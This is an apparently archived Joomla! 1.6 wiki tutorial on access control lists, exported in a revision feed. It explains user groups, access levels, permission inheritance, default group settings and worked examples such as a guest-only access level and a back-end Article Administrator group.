;Access Component: Open the component manager screens (User Manager, Menu Manager, Article Manager, and so on)&lt;br /&gt;
&lt;br /&gt;
;Create : Create new objects (for example, users, menu items, articles, weblinks, and so on)&lt;br /&gt;
&lt;br /&gt;
;Delete : Delete existing objects&lt;br /&gt;
&lt;br /&gt;
;Edit : Edit existing objects&lt;br /&gt;
&lt;br /&gt;
;Edit State : Change object state (Publish, Unpublish, Archive, and Trash)&lt;br /&gt;
&lt;br /&gt;
;Edit Own : Edit objects that you have created. &lt;br /&gt;
&lt;br /&gt;
Each Group for the site has its own slider which is opened by clicking on the group name. In this case (with the sample data installed), we have the standard 7 groups that we had in version 1.5 plus two additional groups called &amp;quot;Shop Suppliers&amp;quot; and &amp;quot;Customer Group&amp;quot;. Notice that our groups are set up with the same permissions as they had in version 1.5. Keep in mind that we can change any of these permissions to make the security work the way we want. Let&#039;s go through this to see how it works.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Public&#039;&#039;&#039; has everything set to &amp;quot;Not set&amp;quot;, as shown below. &lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110112-06.png|center|]]&lt;br /&gt;
: This can be a bit confusing. Basically, &amp;quot;Not Set&amp;quot; is the same as &amp;quot;Inherited&amp;quot;. Because Public is our top-level group, and because Global Configuration is the top level of the component hierarchy, there is nothing to inherit from. So &amp;quot;Not Set&amp;quot; is used instead of &amp;quot;Inherit&amp;quot;.  &lt;br /&gt;
: The default in this case is for no permissions. So, as you would expect, the Public group has no special  permissions. Also, it is important to note that, since nothing is set to Denied, all of these permissions may be overridden by child groups or by lower levels in the permission hierarchy.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Manager&#039;&#039;&#039;  is a &amp;quot;child&amp;quot; group of the Public group. It has Allowed permissions for everything except Access Component and Super Admin. So a member of this group can do everything in the front and back end of the site except change Global Permissions and Component Options. &lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Administrator&#039;&#039;&#039;  group members inherit all of the Manager permissions and also have Allowed for Access Component. So members of this group by default can access the Options screens for each component.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Registered&#039;&#039;&#039; is the same a Public except for the Allow permission for the Site Login action. This means that members of the Registered group can login to the site. Since default permissions are inherited, this means that, unless a child group overrides this permission, all child groups of the Registered group will be able to login as well.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Author&#039;&#039;&#039;  is a child of the Registered group and inherits its permissions and also adds Create and Edit Own. Since Author, Editor, and Publisher have no back-end permissions, we will discuss them below, when we discuss front-end permissions.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Editor&#039;&#039;&#039; is a child of the Authors group and adds the Edit permission.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Publisher&#039;&#039;&#039; is a child of Editor and adds the Edit State permission.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Shop Suppliers&#039;&#039;&#039; is an example group that is installed if you install the sample data. It is a child group of Author.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Customer Group&#039;&#039;&#039; is an example group that is installed if you install the sample data. It is a child group of Registered.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Super Users&#039;&#039;&#039; group has the Allow permission for the Super Admin action. Because of this, members of this group have super user permissions throughout the site. They are the only users who can access and edit values on the Global Configuration screen. Users with permission for the Super Admin action have some special characteristics:&lt;br /&gt;
** If a user has Super Admin permissions, no other permissions for this user matter. The user can perform any action on the site.&lt;br /&gt;
** Only Super Admin users can create, edit, or delete other Super Admin users or groups.&lt;br /&gt;
&lt;br /&gt;
There are two very important points to understand from this screen. The first is to see how the permissions can be inherited from the parent Group. The second is to see how you can control the default permissions by Group and by Action.&lt;br /&gt;
&lt;br /&gt;
This provides a lot of flexibility. For example, if you wanted Shop Suppliers to be able to have the ability to login to the back end, you could just change their Admin Login value to &amp;quot;Allowed&amp;quot;. If you wanted to not allow members of Administrator group to delete objects or change their state, you would change their permissions in these columns to Inherited (or Denied).&lt;br /&gt;
&lt;br /&gt;
It is also important to understand that the ability to have child groups is completely optional. It allows you to save some time when setting up new groups. However, if you like, you can set up all groups to have Public as the parent and not inherit any permissions from a parent group.&lt;br /&gt;
&lt;br /&gt;
==Component Options &amp;amp; Permissions==&lt;br /&gt;
&lt;br /&gt;
Now, let&#039;s continue to see how the default back-end permissions for version 1.6 mimic the permissions for version 1.5. The Super Users group in 1.6 is equivalent to the Super Administrator group in 1.5.&lt;br /&gt;
&lt;br /&gt;
Just looking at the Global Configuration screen above, it would appear that the Administrator group and the Manager group have identical permissions. However, in version 1.5 Administrators can do everything except Global Configuration, whereas Managers are not permitted to add users or work with menu items. That is also true in the default version 1.6 configuration. Let&#039;s see how this is accomplished.&lt;br /&gt;
&lt;br /&gt;
If we navigate to Users-&amp;gt;User Manager and click the Options button in the toolbar, we see the screen below:&lt;br /&gt;
&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-09.png|center|]]&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-10.png|center|]]&lt;br /&gt;
&lt;br /&gt;
This screen is the same as the Global Configuration Permissions screen, except that these values only affect working with Users. Let&#039;s look at how this works.&lt;br /&gt;
&lt;br /&gt;
First, notice that the Administrator group has Allow permission for the Admin action and the Manager group has Deny permission for this action. Remember that the Admin action in the Global Configuration screen gives the group &amp;quot;super user&amp;quot; permissions. In this screen, the Admin action allows you to edit the Options values. So, the Administrator group can do this but the Manager group cannot.&lt;br /&gt;
&lt;br /&gt;
Next, notice that the Administrator has Inherit for the Manage action and the Manager group has Deny permission. In this screen, the Manage action gives a group access to the User Manager. Since the Administrator has Allow for the Manage action by default, then the Inherit permission here means they inherit the Allow permission for the Manage action. Since the Manager group has Deny permission for the Manage action, members of the Manager group cannot access the User Manager and therefore cannot do any of the other user-related actions.&lt;br /&gt;
&lt;br /&gt;
If you look at the Options for Menus-&amp;gt;Menu Manager, you will see the same default settings as for the User Manager. Again, the Administrator group can manage and set default permissions for Menu Manager objects whereas the Manager group cannot.&lt;br /&gt;
&lt;br /&gt;
In short, we can see that the different permissions for the Administrator and Manager groups are set using the Options-&amp;gt;Permissions forms on the User Manager and Menu Manager screens.&lt;br /&gt;
&lt;br /&gt;
It is also important to understand that this same Options-&amp;gt;Permissions form for setting default permissions is available for all Joomla! objects, including Media Manager, Banners, Contacts, Newsfeeds, Redirect, Search Statistics, Web Links, Extensions, Modules, Plugins, Templates, and Language. So you now have the option to create user groups with fine-tuned sets of back-end permissions.&lt;br /&gt;
&lt;br /&gt;
==Front End Permissions==&lt;br /&gt;
&lt;br /&gt;
Default permissions for the front end are also set using the Options form. Let&#039;s look at Content-&amp;gt;Article Manager-&amp;gt;Options-&amp;gt;Permissions. First, let&#039;s look at the permissions for Manager, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-11a.png|center|frame]]&lt;br /&gt;
Manager has allowed permission for all actions except Configure. So members of the Manager group can do everything with Articles except open the Options screen.&lt;br /&gt;
&lt;br /&gt;
Now let&#039;s look at Administrator, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-12a.png|center|frame]]&lt;br /&gt;
Administrator has Allowed for Configure, so Administrators can edit this Options screen.&lt;br /&gt;
&lt;br /&gt;
Both groups can create, delete, edit, and change the state of articles.&lt;br /&gt;
&lt;br /&gt;
Now, let&#039;s look at the groups Publisher, Editor, and Author and see how their permissions are set. &lt;br /&gt;
&lt;br /&gt;
Authors only have Create and Edit Own permissions, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110112-07.png|center|frame]]&lt;br /&gt;
This means that Authors can create articles and can edit articles they have created. They may not delete articles, change the published state of articles, or edit articles created by others.&lt;br /&gt;
&lt;br /&gt;
Editors have the same permissions as Authors with the addition of permission for the Edit action, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110112-08.png|center|frame]]&lt;br /&gt;
So Editors can edit articles written by anyone.&lt;br /&gt;
&lt;br /&gt;
Publishers can do everything Editors can do plus they have permission for the Edit State action, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110112-09.png|center|frame]]&lt;br /&gt;
So Publishers can change the published state of an article. The possible states include Published, Unpublished, Archived, and Trashed.&lt;br /&gt;
&lt;br /&gt;
All of these groups have Inherit permission for Configure and Access Component. Remember that Author is a child of the Registered group, and Registered does not have any default permissions except for Login. Since Registered does not have permission for Configure and Access Component, and since Author&#039;s permission for these actions is &amp;quot;Inherited&amp;quot;, then Author does not have these permissions either. This same permission is passed from Author to Editor and from Editor to Publisher. So, by default, none of these groups are allowed to work with articles in the back end.&lt;br /&gt;
&lt;br /&gt;
It is important to remember that these permissions are only default settings for categories and articles and for any child groups that are created. So they can be overridden for child groups, for categories, and for specific articles. &lt;br /&gt;
&lt;br /&gt;
Also, note that there are no Denied permissions for any actions in the default settings. This allows you to add Allowed permissions at any level. Remember, once you have an action set for Denied, this action will be denied at all lower levels in the hierarchy. For example, if you set the Admin Login for Registered to Denied (instead of Inherited), you could not grant Publishers Allowed permissions for this action.&lt;br /&gt;
&lt;br /&gt;
== Article Manager &amp;amp; Actions Diagram ==&lt;br /&gt;
&lt;br /&gt;
The diagram below shows how each action in the permissions form relates to the various options on the Article Manager screen.&lt;br /&gt;
&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-16.png|center|]]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Configure&#039;&#039;&#039; allows you to view and change the Options for the component.&lt;br /&gt;
* &#039;&#039;&#039;Access Component&#039;&#039;&#039; allows you to navigate to the Article Manager. Without this permission, no other actions are possible.&lt;br /&gt;
* &#039;&#039;&#039;Create&#039;&#039;&#039; allows you to add new articles.&lt;br /&gt;
* &#039;&#039;&#039;Delete&#039;&#039;&#039; allows you to delete trashed articles. Note that the Delete icon only shows in the toolbar when you have the &amp;quot;Select State&amp;quot; filter set to &amp;quot;Trash&amp;quot;.&lt;br /&gt;
* &#039;&#039;&#039;Edit&#039;&#039;&#039; allows you to edit existing articles.&lt;br /&gt;
* &#039;&#039;&#039;Edit State&#039;&#039;&#039; allows to you Publish, Unpublish, Archive, or Trash articles.&lt;br /&gt;
* &#039;&#039;&#039;Edit Own&#039;&#039;&#039; is the same as Edit except that it only applies to articles written by you.&lt;br /&gt;
&lt;br /&gt;
=Allowing Guest-Only Access to Menu Items and Modules=&lt;br /&gt;
&lt;br /&gt;
Version 1.6 introduces the ability to create a View Access Level that is only for guests of the site (meaning a user who is not logged in). The example below shows how you can set up this new feature.&lt;br /&gt;
&lt;br /&gt;
#Create a new user group called Guest. Make it a child of the Public group as shown below. [[Image:screenshot_acl_tutorial_20110112-01.png|center|frame]] &lt;br /&gt;
# Create a new access level called Guest and grant only the Guest group access to this level, as shown below.[[Image:screenshot_acl_tutorial_20110112-02.png|center|frame]]&lt;br /&gt;
# Edit the Public access level and add the Guest group to it, as shown below.[[Image:screenshot_acl_tutorial_20110112-03.png|center|frame]]&lt;br /&gt;
# Navigate to User Manager&amp;amp;rarr;Options&amp;amp;rarr;Component and change the Guest User Group from the default value of &amp;quot;Public&amp;quot; to &amp;quot;Guest&amp;quot;, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110112-04.png|center|frame]]&lt;br /&gt;
&lt;br /&gt;
Now, if we assign a menu item, module, or other object to the Guest access level, only non-logged in users will have access. For example, if we create a new menu item with access level of Guest, as shown below, &lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110112-05.png|center|frame]]&lt;br /&gt;
this menu item will only be visible to non-logged-in visitors to the site.  Login/logout in frontend (for changing data in session) to see the change.&lt;br /&gt;
&lt;br /&gt;
=Using Permission and Group Levels Together=&lt;br /&gt;
&lt;br /&gt;
As discussed above, it is possible to define groups in a hierarchy, where each child group inherits action permissions (for example, the create permission) from its parent group. Action permissions are also be inherited from the permission level above. For example, a permission in the Article Manager is inherited from the same permission in the Global Configuration, and a permission in a child Category is inherited from the parent Category permission.&lt;br /&gt;
&lt;br /&gt;
This dual inheritance can be confusing, but it can also be useful. Let&#039;s consider an example as follows. We have a school with a group hierarchy of Teachers → History Teachers → Assistant History Teachers. We also have a category hierarchy of Assignments → History Assignments. We want History Teachers and Assistant History Teachers to have the following permissions:&lt;br /&gt;
&lt;br /&gt;
* both groups can create new articles only in the History Assignments category.&lt;br /&gt;
&lt;br /&gt;
* only History Teachers (not Assistant History Teachers) can Publish or otherwise have Edit State permission.&lt;br /&gt;
&lt;br /&gt;
This ACL scheme is very easy to implement. The diagram below shows how this would be set up for the Create Action.&lt;br /&gt;
&lt;br /&gt;
[[Image:Acl example diagram1 20091018.png|center|]]&lt;br /&gt;
&lt;br /&gt;
In the diagram, the Permission Hierarchy is shown down the left side and the Group hierarchy is shown across the top. Permissions are inherited down and to the right, as shown by the arrows. To implement the desired permissions, we leave the Global Configuration blank (Not Set) for all three groups. Similarly, in the Article Manager and Assignments Category, we leave the Create permission to Inherit for all the groups. As shown in the diagram, this means that these groups do not have Create permission for articles in general or for articles in the Assignments group.&lt;br /&gt;
&lt;br /&gt;
To sum up so far, we have not set any special permissions to get to this point. Now, in the History Assignments category permissions screen, we set the Create permission to Allow for the History Teachers group. This setting overrides the Soft (Implicit) Deny that we had by default and gives members of this group permission to create content (articles and child categories) for this category. This Allow setting also is inherited by the Assistant History Teachers group.&lt;br /&gt;
&lt;br /&gt;
Next, we need to grant History Teachers the Edit State permission while denying this permission to Assistant History Teachers. This is done as shown in the diagram below.&lt;br /&gt;
&lt;br /&gt;
[[Image:Acl example diagram2 20091018.png|center|]]&lt;br /&gt;
&lt;br /&gt;
This configuration is the same as the one above except that this time we set the Edit State permission in the History Assignments category to Deny for the Assistant History Teachers group. This means that Assistant History Teachers will not be able to Publish or Unpublish articles in this category.&lt;br /&gt;
&lt;br /&gt;
Note that this was accomplished by setting just two permissions in the History Assignments category: Allow for the History Teachers group and Deny for the Assistant History Teachers group.&lt;br /&gt;
&lt;br /&gt;
=ACL Examples=&lt;br /&gt;
Here are some examples of how you might set up the ACL for some specific situations.&lt;br /&gt;
&lt;br /&gt;
==Back-end Article Administrator==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Problem:&#039;&#039;&#039; &lt;br /&gt;
&lt;br /&gt;
We want to create a group called &amp;quot;Article Administrator&amp;quot; with back-end permissions only for articles and not for any other back-end menu options. Members of this group should be able to use all of the features of the article manager, including setting article permissions.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Solution:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Create a new group called Article Administrator and make its parent group Public, as shown below.[[Image:screenshot_acl_tutorial_20110112-10.png|center|frame]] Because its parent group is Public, it won&#039;t have any permissions by default.&lt;br /&gt;
# In Users &amp;amp;rarr; Access Levels, edit the Special Access level to add the new group. That way they can get access to the back end menu items and modules (This assumes that the modules for the admin menu and quickicons have the Special Access level assigned to them, which is the default.) [[Image:screenshot_acl_tutorial_20110112-11.png|center|frame]] By default, the back-end menu items and modules are set to Special access, so if you forget to add the new group to the Special access level, you won&#039;t see any modules or menu items when you log in as a user of the new group.&lt;br /&gt;
# In Site →  Global Configuration → Permissions, click on the Article Administrator group and change the permissions to Allowed for the following actions: Admin Login, Create, Delete, Edit, Edit State, and Edit Own. The screen below shows what will show before you press Save. [[Image:screenshot_acl_tutorial_20110112-12.png|center|frame]]After you save, the Calculated Permissions should show as shown below.[[Image:screenshot_acl_tutorial_20110112-13.png|center|frame]]Note that the permission for the Access Component is Inherited, which translates to Not Allowed. This is important. This means that this group will only be able to access components if we give the group &amp;quot;Allowed&amp;quot; permission for Access Component. So we only have to change the one component we want to give them access to and don&#039;t have to change any settings for the components where we don&#039;t want them to have access. If we had a case where we wanted to give a group access to everything except for one component, we could set the default to Allowed and then set the one component to Denied. Also note that we did not give the group Site Login permission, so users in this group will not be able to log into the front end. (If we wanted to allow that, we would just change the permission to Allowed for Site Login.)&lt;br /&gt;
# In Article Manager → Options → Permissions, change permissions to Allowed for this group for the Access Component action, as shown below.[[Image:screenshot_acl_tutorial_20110112-14.png|center|frame]]All of the other desired permissions are inherited.&lt;br /&gt;
&lt;br /&gt;
That&#039;s all you need to do. Members of this group can login to the back end and do everything in Article Manager but can&#039;t do anything else in the back end. For example, the screen below shows what a user in the Article Manager will see when they login to the back end.[[Image:screenshot_acl_tutorial_20110112-15.png|center|frame]]&lt;br /&gt;
[[Category:Joomla! 1.6]] [[Category:Tutorials]][[Category:Access Control]][[Category:Access Management]]&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Archived:Access_Control_List_Tutorial&amp;diff=62301</id>
		<title>Archived:Access Control List Tutorial</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Archived:Access_Control_List_Tutorial&amp;diff=62301"/>
		<updated>2011-09-26T04:05:54Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: class=&amp;quot;wikitable&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=ACL Defined=&lt;br /&gt;
&lt;br /&gt;
;ACL or [http://en.wikipedia.org/wiki/Access_control_list Access Control List]&lt;br /&gt;
:According to Wikipedia, “An ACL specifies which users or system processes are granted access to  objects, as well as what operations are allowed to be performed on given objects.”&lt;br /&gt;
&lt;br /&gt;
In the case of Joomla!, we have two separate aspects to ACL.&lt;br /&gt;
# Which users can gain access to what parts of the website? For example, will a given menu choice be visible for a given user?&lt;br /&gt;
# What operations (or actions) a user can perform on any given object? For example, can a user submit or edit an article?&lt;br /&gt;
&lt;br /&gt;
=Overview of ACL in Version 1.6=&lt;br /&gt;
&lt;br /&gt;
This section outlines the major ACL changes between versions 1.5 and 1.6.&lt;br /&gt;
&lt;br /&gt;
==Users, Groups, and Access Levels==&lt;br /&gt;
&lt;br /&gt;
With the definition in mind, let&#039;s look at how we set up the ACL for our site in version 1.6. The table below summarizes the major changes from version 1.5.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; cellspacing=&amp;quot;0&amp;quot; cellpadding=&amp;quot;4&amp;quot; border=&amp;quot;1&amp;quot;&lt;br /&gt;
| &amp;lt;br /&amp;gt;&lt;br /&gt;
| Version 1.5&lt;br /&gt;
| Version 1.6&lt;br /&gt;
|-&lt;br /&gt;
| Groups&lt;br /&gt;
| 7 fixed groups (Public, Registered, Author, Editor, Publisher, 			Manager, Administrator, and Super-Administrator)&lt;br /&gt;
| Unlimited user-defined Groups&lt;br /&gt;
|-&lt;br /&gt;
| Users &amp;amp; Groups&lt;br /&gt;
| A User can be assigned to only one group&lt;br /&gt;
| A User can be assigned to multiple groups&lt;br /&gt;
|-&lt;br /&gt;
| Access Levels&lt;br /&gt;
| 3 fixed Access Levels (Public, Registered, Special)&lt;br /&gt;
| Unlimited user-defined Access Levels&lt;br /&gt;
|-&lt;br /&gt;
| Access Levels &amp;amp; Groups&lt;br /&gt;
| Relationship between Groups and Access Levels was fixed.&lt;br /&gt;
| Groups are assigned to Access Levels. Any combination of Groups 			can be assigned to any Access Level.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
We see that in every case the ACL has been made much more flexible, with unlimited Groups and Access Levels, and the ability to assign one User to multiple Groups and any Groups to any Access Level.&lt;br /&gt;
&lt;br /&gt;
==Actions, Groups, and Inheritance==&lt;br /&gt;
&lt;br /&gt;
The other side of ACL is granting permissions to users to take actions on objects. Here again there is a big change between Version 1.5 and 1.6. In 1.5, the actions allowed for a given group were fixed. For example, a User in the Author group could only submit an article whereas someone in the Publisher group could submit, edit, and publish articles. Also, in version 1.5 the permissions were all-or-nothing. A member of the Editor group could edit all articles on the site.&lt;br /&gt;
&lt;br /&gt;
The table below shows what has changed between versions 1.5 and 1.6.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; cellspacing=&amp;quot;0&amp;quot; cellpadding=&amp;quot;4&amp;quot; border=&amp;quot;1&amp;quot;&lt;br /&gt;
| &amp;lt;br /&amp;gt;&lt;br /&gt;
| Version 1.5&lt;br /&gt;
| Version 1.6&lt;br /&gt;
|-&lt;br /&gt;
| Groups and Actions&lt;br /&gt;
| Actions allowed by different groups are fixed.&lt;br /&gt;
| Actions allowed for each group are defined by site administrator.&lt;br /&gt;
|-&lt;br /&gt;
| Permission Scope&lt;br /&gt;
| Entire Site. User has same permissions for all objects on the site.&lt;br /&gt;
| Permissions can be set at multiple levels in hierarchy: Site, Component, Category, Object.&lt;br /&gt;
|-&lt;br /&gt;
| Permission Inheritance&lt;br /&gt;
| Not applicable&lt;br /&gt;
| Permissions can be inherited from parent Groups and parent Categories&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==How Permissions Work==&lt;br /&gt;
&lt;br /&gt;
There are four possible permissions for actions, as outlined below:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Not set&#039;&#039;&#039;: Defaults to &amp;quot;deny&amp;quot; but, unlike the Deny permission, this permission can be overridden by setting a child group or a lower level in the permission hierarchy to &amp;quot;Allow&amp;quot;. This permission only applies to the Global Configuration permissions. &lt;br /&gt;
* &#039;&#039;&#039;Inherit&#039;&#039;&#039;: Inherits the value from a parent Group or from a higher level in the permission hierarchy. This permission applies to all levels except the Global Configuration level.&lt;br /&gt;
* &#039;&#039;&#039;Deny&#039;&#039;&#039;: Denies this action for this level and group. &#039;&#039;&#039;IMPORTANT:&#039;&#039;&#039; This also denies this action for all child groups and all lower levels in the permission hierarchy. Putting in Allow for a child group or a lower level will not have any effect. The action will always be denied for any child group member and for any lower level in the permission hierarchy.&lt;br /&gt;
* &#039;&#039;&#039;Allow&#039;&#039;&#039;: Allows this action for this level and group and for lower levels and child groups. This does not have any effect if a higher group or level is set to Deny or Allow. If a higher group or level is set to Deny, then this permission will always be denied. If a higher group or level is set to Allow, then this permission will already be allowed.&lt;br /&gt;
&lt;br /&gt;
==Permission Hierarchy Levels==&lt;br /&gt;
&lt;br /&gt;
Action permissions in version 1.6 can be defined at up to four levels, as follows:&lt;br /&gt;
# &#039;&#039;&#039;Global Configuration&#039;&#039;&#039;: determines the default permissions for each action and group. &lt;br /&gt;
# &#039;&#039;&#039;Component Options-&amp;gt;Permissions&#039;&#039;&#039;: can override the default permissions for this component (for example, Articles, Menus, Users, Banners, and so on)&lt;br /&gt;
# &#039;&#039;&#039;Category&#039;&#039;&#039;: can override the default permissions for objects in one or more categories. Applies to all components with categories, including Articles, Banners, Contacts, Newsfeeds, and Weblinks. &lt;br /&gt;
# &#039;&#039;&#039;Article&#039;&#039;&#039;: Can override the permissions for a specific article. This level only applies to articles. Other components only allow the first three levels.&lt;br /&gt;
&lt;br /&gt;
===Global Configuration===&lt;br /&gt;
This is accessed from Site &amp;amp;rarr; Global Configuration &amp;amp;rarr; Permissions. This screen allows you set the top-level permission for each group for each action, as shown in the screenshot below. &lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-01.png|center]]&lt;br /&gt;
The options for each value are Inherited, Allowed, or Denied. The Calculated Setting column shows you the setting in effect. It is either Not Allowed (the default), Allowed, or Denied.&lt;br /&gt;
&lt;br /&gt;
You work on one Group at a time by opening the slider for that group. You change the permissions in the Select New Settings drop-down list boxes. &lt;br /&gt;
&lt;br /&gt;
Note that the Calculated Setting column is not updated until you press the Save button in the toolbar. To check that the settings are what you want, press the Save button and check the Calculated Settings column.&lt;br /&gt;
&lt;br /&gt;
===Component Options-&amp;gt;Permissions===&lt;br /&gt;
This is accessed for each component by clicking the Options icon in the toolbar. This screen is similar to the Global Configuration screen above. For example, clicking the Options toolbar icon in the Menu Manager shows the Menus Configuration below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-02.png|center]]&lt;br /&gt;
Access to Options is only available to members of groups who have permission for the Configure action in for each component. In the example above, the Administrator group has Allowed permission for the Configure option, so members of this group can access this screen.&lt;br /&gt;
&lt;br /&gt;
===Category===&lt;br /&gt;
Category permissions are accessed in the Category Manager: Edit Category screen, in a slider at the bottom of the screen. This screen has five permissions, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-03.png|center]]&lt;br /&gt;
In these screens, you work on the permissions for one User Group at a time. In the example above, we are editing the permissions for the Administrator group.&lt;br /&gt;
&lt;br /&gt;
Note that the Configure and Access Component actions do not apply at the category level, so those actions are not included.&lt;br /&gt;
&lt;br /&gt;
Note also that Categories can be arranged in a hierarchy. If so, then action permissions in a parent category are inherited automatically by a child category. For example, if you had a category hierarchy of Animals &amp;amp;rarr; Pets &amp;amp;rarr; Dogs, then the full permission level hierarchy for an article in the Dogs category would be as follows:&lt;br /&gt;
* Global Configuration&lt;br /&gt;
* Article Manager &amp;amp;rarr; Options &amp;amp;rarr; Permission&lt;br /&gt;
* Animals Category&lt;br /&gt;
* Pets Category&lt;br /&gt;
* Dogs Category&lt;br /&gt;
* specific article&lt;br /&gt;
&lt;br /&gt;
===Article===&lt;br /&gt;
Permissions for a single article are access in the Article Manager: Edit Article screen, again in a slider at the bottom of the screen. This screen has three actions, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-04.png|center]]&lt;br /&gt;
Again, you edit each group by clicking on it to open the slider for that group. You can then change the permissions under the Select New Setting column. To see the effect of any changes, press the Save button to update the Calculated Setting column.&lt;br /&gt;
&lt;br /&gt;
Note that the Configure, Access Component, and Create actions do not apply at the article level, so these actions are not included. Permission to create an article is set at one of the higher levels in the hierarchy.&lt;br /&gt;
&lt;br /&gt;
==Access Levels==&lt;br /&gt;
&lt;br /&gt;
Access Levels in version 1.6 are simple and flexible. The screen below shows the Special Access Level.  &lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-05.png|center]]&lt;br /&gt;
Simply check the box for each group you want included in that level. The Special Access Level includes the Manager, Author, and Super Users groups. It also includes child groups of those groups. So, Administrator group is included, since it is a child group of the Manager group. The Editor, Publisher, and Shop Suppliers groups are included, since they are child groups of Author. (Note that we could check all of the child groups if we wanted and it wouldn&#039;t hurt anything.)&lt;br /&gt;
&lt;br /&gt;
Once Access Levels are created, they are used in the same way as in version 1.5. Each object in the front end is assigned an Access Level. If the level is Public, then anyone may access that object. Otherwise, only members of groups assigned to that access level may access that object. Access levels are assigned to Menu Items and to Modules. Each one can only be assigned to one access level.&lt;br /&gt;
&lt;br /&gt;
For example, the screen below shows the Edit Menu Item screen with the list of available access levels.&lt;br /&gt;
&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-06.png|center]]&lt;br /&gt;
&lt;br /&gt;
=Default ACL Setup=&lt;br /&gt;
&lt;br /&gt;
When Joomla! is installed, these are set to their initial default settings. We will discuss these initial settings as a way to understand how the ACL works.&lt;br /&gt;
&lt;br /&gt;
==Default Groups==&lt;br /&gt;
&lt;br /&gt;
Version 1.6 allows you to define your own Groups. When you install version 1.6, it includes a set of default groups, as shown below. &lt;br /&gt;
&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-07.png|center]]&lt;br /&gt;
&lt;br /&gt;
The arrows indicate the child-parent relationships. As discussed above, when you set a permission for a parent group, this permission is automatically inherited by all child groups. The Inherited, and Allowed permissions can be overridden for a child group. The Denied permission cannot be overridden and will always deny an action for all child groups.&lt;br /&gt;
&lt;br /&gt;
==Global Configuration==&lt;br /&gt;
&lt;br /&gt;
Joomla! version 1.6 will install with the same familiar back-end permissions as that of version 1.5. However, with 1.6, you can easily change these to suit the needs of your site.&lt;br /&gt;
&lt;br /&gt;
As discussed earlier, the permissions for each action are inherited from the level above in the permission hierarchy and from a group&#039;s parent group. Let&#039;s see how this works. The top level for this is the entire site. This is set up in the Site-&amp;gt;Global Configuration-&amp;gt;Permissions, as shown below.&lt;br /&gt;
&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-08.png|center|]]&lt;br /&gt;
&lt;br /&gt;
The first thing to notice are the nine Actions: Site Login, Admin Login, Super Admin, Access Component, Create, Delete, Edit, Edit State. and Edit Own. These are the actions that a user can perform on an object in Joomla. The specific meaning of each action depends on the context. For the Global Configuration screen, they are defined as follows:&lt;br /&gt;
&lt;br /&gt;
;Site Login : Login to the front end of the site&lt;br /&gt;
&lt;br /&gt;
;Admin Login : Login to the back end of the site&lt;br /&gt;
&lt;br /&gt;
; Super Admin : Grants the user &amp;quot;super user&amp;quot; status. Users with this permission can do anything on the site. Only users with this permission can change Global Configuration settings (this screen). These permissions cannot be restricted. It is important to understand that, if a user is a member of a Super Admin group, any other permissions assigned to this user are irrelevant. The user can do any action on the site. However, Access Levels can still be assigned to control what this group sees on the site. (Obviously, a Super Admin user can change Access Levels if they want to, so Access Levels do not totally restrict what a Super Admin user can see.)&lt;br /&gt;
&lt;br /&gt;
;Access Component: Open the component manager screens (User Manager, Menu Manager, Article Manager, and so on)&lt;br /&gt;
&lt;br /&gt;
;Create : Create new objects (for example, users, menu items, articles, weblinks, and so on)&lt;br /&gt;
&lt;br /&gt;
;Delete : Delete existing objects&lt;br /&gt;
&lt;br /&gt;
;Edit : Edit existing objects&lt;br /&gt;
&lt;br /&gt;
;Edit State : Change object state (Publish, Unpublish, Archive, and Trash)&lt;br /&gt;
&lt;br /&gt;
;Edit Own : Edit objects that you have created. &lt;br /&gt;
&lt;br /&gt;
Each Group for the site has its own slider which is opened by clicking on the group name. In this case (with the sample data installed), we have the standard 7 groups that we had in version 1.5 plus two additional groups called &amp;quot;Shop Suppliers&amp;quot; and &amp;quot;Customer Group&amp;quot;. Notice that our groups are set up with the same permissions as they had in version 1.5. Keep in mind that we can change any of these permissions to make the security work the way we want. Let&#039;s go through this to see how it works.&lt;br /&gt;
